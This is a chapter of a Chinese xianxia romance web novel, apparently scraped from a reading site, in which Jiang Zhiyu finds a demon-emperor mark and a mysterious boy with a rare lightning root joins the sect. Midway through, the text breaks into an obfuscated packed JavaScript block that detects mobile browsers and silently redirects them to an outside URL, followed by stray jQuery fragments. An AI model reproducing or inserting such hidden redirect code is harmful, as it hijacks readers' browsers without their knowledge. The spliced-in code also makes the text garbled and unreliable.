18. 那个少年
作品:《少宗主他口是心非》 后面的记忆越来越模糊,甚至她到不知道自己是怎么离开那里的,这段记忆跟消失了一样。
怎么会?
“江知渔?”顾星渡又喊了一声。
她回过神,发现所有人都看着她。
“没事。”她站起来,拍拍裙子上的泥点,“我们回去吧,这地方太邪门了,早点离开为妙。”
众人点头,跟着她往外走。
江知渔走在前面,袖中的纸条贴着肌肤,仿佛时刻警告着她。
她想,不管这句话真假,她都会记得。
但眼下,她偏头看了一眼身侧的顾星渡,少年察觉到她的视线,立刻别过脸,不敢对视。
但当她收回目光时,他又会偷偷看过来,眼神复杂。
江知渔扬眉浅笑,不管身边人是谁,至少有一个,她愿意相信。
除了叶怜生自请告辞外,其他人都承着飞舟沿原路返回。
“终于回来了!”池繁欢呼,“我要泡澡,我要吃顿好的,我要睡三天三夜!”
“才去不到一天,给你累的。”陆修远冷嘲道。
陈一鸣叹气:“大哥大姐,你们两个不要再吵了,刚回来,先安静点。”
其他人笑了笑,气氛轻松了不少。
江知渔走在后面,看着他们闹,嘴角也带了笑意。
就在这时,一阵山风吹过,吹起她的衣袖,袖中的纸条露出一个角的墨痕。
她低头看了一眼,那墨痕上,有一个印记若隐若现。
那印记很小,藏在角落,不仔细看根本发现不了,江知渔的阴阳眼让她捕捉到了那抹金色的光芒,那是妖族的标志。
她的脚步一下子顿住。
那个黑袍人是妖族?
脑子思绪更加麻乱,她加快脚步,追上队伍。
“少宗主。”她喊住顾星渡。
顾星渡回头:“怎么了?”
江知渔把纸条递给他:“这是我在迷境里捡到的,你看看认不认识这个印记。”
顾星渡接过纸条,看见那个印记的瞬间,脸色一沉。
“妖族的标记。”他沉声道,“这还不是普通的妖族标记,是妖皇一脉的族徽。”
江知渔听蒙了。
那个黑袍人是妖皇后裔?据说百年前人妖大战,妖皇战死,皇族几乎被灭族,只剩下零星血脉流落在外。
顾星渡抬眼看她,眼神复杂:“你确定,你不认识他?”
江知渔点头:“不认识,但他认识我。”
顾星渡将纸条还给她:“这东西你收好,回去后我查查典籍。”
“嗯。”
两人并肩往山门走,江知渔还在端详手中纸条。
远处,一颗古树的阴影里,一个瘦削的身影静静站着,他穿着绣金的玄服,深邃的五官,让人过目不忘,那双眼睛,黑白分明,安静的望着渐行渐远的队伍。
当江知渔的背景快要消失在山门后时,他自嘲般笑了一声。
“江知渔。”
他轻声说,声音低沉,不再是伪装的沙嘶,是属于少年人的清朗。
“九年了,你果然不记得我了。”
风吹过,他的身影慢慢淡去,最后消失在阴影里。
山门那边,江知渔回过头,望向远处的树影。
“怎么了?”顾星渡问。
江知渔望着那片树影看了许久,终于摇了摇头。
“没什么,大概是错觉。”
她转身,继续往前走,袖中的纸条被攥紧。
经过此事后,顾星渡让她休息一段时间,以免又遭毒手。
就一休息就到了新弟子入门宗门大典,每次这种时候都是星辰宗最热闹的日子。
江知渔本不想凑这个热闹,她最近忙着钻研《解阴阳》,加上上次迷境受的伤还没好全,只想窝在洞府里清静几天。
但顾星渡作为少宗主必须出席,临出门时非要拽上她。
“一起去。”他别着脸,耳朵微红,“省得有人说我不带道侣见人。”
江知渔无语:“谁会说这种话?”
“……”
顾星渡没答话,手已经拽住了她的袖子,一副不答应就不放手的架势。
江知渔看着那只修长好看的手,此时这只手的主人正努力维持面无表情实则紧张得要死的脸,苦思片刻,叹了口气。
“行吧。”
顾星渡立刻松手,转身就走:“快点,要迟到了。”
江知渔看着他的背影,无奈摇头,这个人,真的是……
一路走到演武场,已经人山人海。
新弟子们排着长队等待验灵根、测资质,周围围满了看热闹的老弟子和各峰代表。
顾星渡作为少宗主,坐在主位旁边的席位上,江知渔就坐在他身侧,对面是一排长老,玄真子也在其中,正面带慈爱看着新弟子们。
“今年这批苗子不错啊。”玄真子捋着胡子,“刚才测的那几个,都是上品灵根。”
妄言真人点点头,神色淡淡:“再看看。”
江知渔百无聊赖的托着脸,目光漫无目的扫过人群,新弟子们有紧张的有兴奋的有故作镇定的,一个个都在执事弟子的指引下上前测试。
蓦然间,她的目光定住了。
人群的最后面,站着一个少年。
少年大约十五六岁,穿着一身普通灰袍,身形瘦削,长相俊俏。
他的站姿很特别,微微着身,双手抱臂,下巴微扬,整个人散发着一股你们这些凡人不配跟老子说话的气息。
尤其是那双眼睛,黑白分明,安静又带着漫不经心的傲。
这架势跟当初的顾星渡竟有几分相似。
江知渔无端晃了下神。
这双眼睛,她好像在哪里见过。
“怎么了?”顾星渡察觉到她的异样,顺着她的目光看去,皱眉,“那谁?一副欠揍的样子。”
话音刚落,轮到那少年上前测试。
执事弟子喊了几遍名字,他才慢悠悠走过去,懒洋洋的把手放在测灵石上。
测灵石骤然爆发出奇特的金光!
“这是?”执事弟子惊得差点跳起来,“天品雷灵根!千年难遇的天品雷灵根!”
全场哗然。
所有长老霎时站起身,玄真子眼睛都直了:“天品雷灵根?!快,快过来!”
少年被一群人簇拥着带到长老们面前,表情依然淡淡的,仿佛天品雷灵根不过是个小玩意,玄真子问什么,他答什么,语气简短,多一个字都懒得说。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256386|197751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“你叫什么名字?”妄言真人问。
“小九。”
“姓什么?”
“没有姓。”
“从哪里来?”
少年顿了顿,眼神似乎往江知渔方向飘了一下,快得难以发现,“凤梧村。”
闻言江知渔神情茫然。
“凤梧村?”妄言真人若有所思,“那地方偏远,你怎么会来星辰宗?”
“听说这里能修道,就来了。”少年答得敷衍。
他的态度算不上端正,甚至有点拽,不过妄言真人没计较,天品雷灵根,别说拽一点,就算当场骂人,宗门也得供着。
五长老脸都快笑僵了,立刻拍板:“好!好啊!小九,你可愿拜我为师?”
少年抬眼看他,表情依然淡淡的:“弟子想拜大长老为师。”
此话一出,周围气氛顿觉微妙起来。
玄真子有些疑惑的看向他,没同意也没拒绝。
“怎么,不愿意?”少年想了想,目光又往江知渔那边飘了一下,这次被顾星渡捕捉到了,表情呆滞。
“不愿意就算了。”少年收回目光,“随便哪个师父都行。”
玄真子:“……”
周围长老们:“……”
这什么态度!?
玄真子不怒反笑:“好,有个性!就你了,跟我走吧!”
少年点点头,跟着玄真子往外走,路过江知渔和顾星渡身边时,他突兀停下脚步,偏头看了顾星渡一眼。
那眼神有种说不出的挑衅。
“你就是顾星渡?”他问。
顾星渡扬眉:“什么事?”
少年上下打量了他一番,唇角轻翘,似笑非笑:“听说你是星辰宗第一天才?”
“?”
“就这?”
说完,他收回目光,跟着玄真子走了,留下一群目瞪口呆的人。
顾星渡的脸色肉眼可见的黑了下来。
江知渔在旁边也平静不了了,疯狂憋着笑。
“你笑什么?”顾星渡咬牙。
“没笑。”江知渔努力板着脸,“少宗主,这小孩挺有意思的。”
“小孩?”顾星渡冷哼,“十五六岁还小孩?他那个态度分明是来找茬的。”
“你得罪过他?”
“我怎么可能得罪过。”他当即否认,脑子又浮现出那个少年敌意的眼神。
不对,不只是敌意,还有别的什么。
他看向江知渔,发现她正望着少年离开的方向,若有所思。
“你认识他?”
江知渔回过神,摇头:“不认识。”
她没说谎,她的确不认识这个少年,但那双眼睛,那种说不清的感觉。
她下意识摸了摸袖中纸条,自从上次迷境出来后,那张纸条就一直贴身放着。
她心想,黑袍人会是这个少年吗?
玄真子收了个天品雷灵根徒弟的消息,当天就传遍了整个星辰宗。
所有人都对这个少年充满好奇,什么来路?什么背景?能让大长老亲自收徒,那得是多大的造化?
而作为当事人的小九,此刻坐在玄真子的洞府里,面无表情的听着师父絮叨。
玄真子真的是过分热情。

